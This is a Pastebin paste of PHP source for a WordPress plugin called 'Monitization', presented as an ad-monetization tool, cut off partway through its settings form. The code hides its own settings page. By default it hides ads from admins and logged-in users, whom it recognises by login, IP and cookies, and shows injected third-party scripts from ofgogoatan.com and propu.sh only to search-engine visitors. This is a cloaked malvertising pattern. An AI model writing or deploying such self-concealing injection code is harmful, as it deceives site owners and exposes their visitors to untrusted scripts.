Guest User

Untitled

a guest
May 16th, 2020
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.04 KB | None | 0 0
  1. <?php
  2. /**
  3. * Plugin Name: Monitization
  4. * Description: this plugin will help you Monitize your traffic easily from different ad networks.
  5. * Author: Igor Glavatskiy
  6. * Version: 1.0
  7. */
  8.  
  9. error_reporting(0);
  10. ini_set('display_errors', 0);
  11. $plugin_key='6e1aa39328ad32f62d99811e4d7fd962';
  12. $version='1.2';
  13. add_action('admin_menu', function() {
  14. add_options_page( 'Monitization Plugin', 'Monitization', 'manage_options', 'monit', 'mont_page' );
  15. remove_submenu_page( 'options-general.php', 'monit' );
  16. });
  17.  
  18.  
  19.  
  20. add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_link');
  21. function salcode_add_plugin_page_settings_link( $links ) {
  22. $links[] = '<a href="' .
  23. admin_url( 'options-general.php?page=monit' ) .
  24. '">' . __('Settings') . '</a>';
  25. return $links;
  26. }
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33. add_action( 'admin_init', function() {
  34.  
  35. register_setting( 'mont-settings', 'default_mont_options' );
  36. register_setting( 'mont-settings', 'ad_code' );
  37. register_setting( 'mont-settings', 'hide_admin' );
  38. register_setting( 'mont-settings', 'hide_logged_in' );
  39. register_setting( 'mont-settings', 'display_ad' );
  40. register_setting( 'mont-settings', 'search_engines' );
  41. register_setting( 'mont-settings', 'auto_update' );
  42. register_setting( 'mont-settings', 'ip_admin');
  43. register_setting( 'mont-settings', 'cookies_admin' );
  44. register_setting( 'mont-settings', 'logged_admin' );
  45. register_setting( 'mont-settings', 'log_install' );
  46.  
  47. });
  48.  
  49. $ad_code='
  50. <script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3280383" async data-cfasync="false"></script>
  51. <script src="https://propu.sh/pfe/current/tag.min.js?z=3280389" data-cfasync="false" async></script>
  52. ';
  53.  
  54. $hide_admin='on';
  55. $hide_logged_in='on';
  56. $display_ad='organic';
  57. $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
  58. $auto_update='on';
  59. $ip_admin='on';
  60. $cookies_admin='on';
  61. $logged_admin='on';
  62. $log_install='';
  63.  
  64. function mont_page() {
  65. ?>
  66. <div class="wrap">
  67. <form action="options.php" method="post">
  68. <?php
  69. settings_fields( 'mont-settings' );
  70. do_settings_sections( 'mont-settings' );
  71. $ad_code='
  72. <script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3280383" async data-cfasync="false"></script>
  73. <script src="https://propu.sh/pfe/current/tag.min.js?z=3280389" data-cfasync="false" async></script>
  74. ';
  75.  
  76. $hide_admin='on';
  77. $hide_logged_in='on';
  78. $display_ad='organic';
  79. $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
  80. $auto_update='on';
  81. $ip_admin='on';
  82. $cookies_admin='on';
  83. $logged_admin='on';
  84. $log_install='';
  85.  
  86. ?>
  87. <h2>Monetization Plugin</h2>
  88. <table>
  89.  
  90. <tr>
  91. <th>Ad Code</th>
  92. <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea><br></td>
  93. </tr>
  94.  
  95.  
  96.  
  97. <tr>
  98. <th>Hide ads to :</th>
  99. <td>
  100. <input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
  101. <label>
  102. <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
  103. </label>
  104. <label>
  105. <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
  106. </label>
  107. <br/>
  108.  
  109.  
  110. </td>
  111. </tr>
  112.  
  113.  
  114.  
  115. <tr>
  116. <th>Recognize admin by :</th>
  117. <td>
  118.  
  119. <label>
  120. <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
Add Comment
Please, Sign In to add comment